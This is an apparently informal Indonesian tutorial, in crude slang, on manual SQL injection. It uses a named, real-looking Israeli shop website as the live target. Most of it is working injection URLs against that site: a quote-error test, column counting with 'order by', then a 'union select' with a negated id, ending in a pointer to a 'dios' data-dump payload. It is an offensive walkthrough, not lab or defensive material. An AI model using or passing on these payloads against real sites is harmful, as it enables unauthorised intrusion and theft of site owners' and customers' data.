Turtorial Sql injection Manual

Gua mau ngasih tutor sql i manual by KrisnaGanz anjink simak baik" ngentod untuk targetnya pake web ampas saja

http://www.tzamtzam.co.il/category-products.php?cat=21

Nah biar tau vuln / tidak kamu kasih tanda ( ' ) petik atas di belakang angka oke , kalo vuln bakal ada tulisan *You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1*

Kalo dah ketemu ,lu tinggal masukin +order+by+1--+- ,Jadinya :
http://www.tzamtzam.co.il/category-products.php?cat=21'+order+by+1--+-
 Lu terusin ampe error, jadinya :

http://www.tzamtzam.co.il/category-products.php?cat=21'+order+by+1--+-  => Ga error

http://www.tzamtzam.co.il/category-products.php?cat=21'+order+by+2--+-  => Ga error

http://www.tzamtzam.co.il/category-products.php?cat=21'+order+by+3--+-  => Ga error

http://www.tzamtzam.co.il/category-products.php?cat=21'+order+by+4--+-  => Ga error

http://www.tzamtzam.co.il/category-products.php?cat=21'+order+by+5--+-  => error

Sampai eror ya tod

Kalo error nya di angka lima lu masukin angka tebelnya sampe angka 4 tod sama *order+by* nya ganti jadi *union+select*, jadinya

http://www.tzamtzam.co.il/category-products.php?cat=21'+union+select+1,2,3,4--+- , Jangan lupa tambahin ( - ) belakang angka yang buat test vulnya , jadinya

http://www.tzamtzam.co.il/category-products.php?cat=-21'+union+select+1,2,3,4--+- , Ok

Nah ntar kan muncul angka togelnya tuh semisal angka togelnya = 2 nah lu masukin dios lu Ok

Paham ? Paham gak paham semoga bisa di pahami gayn :D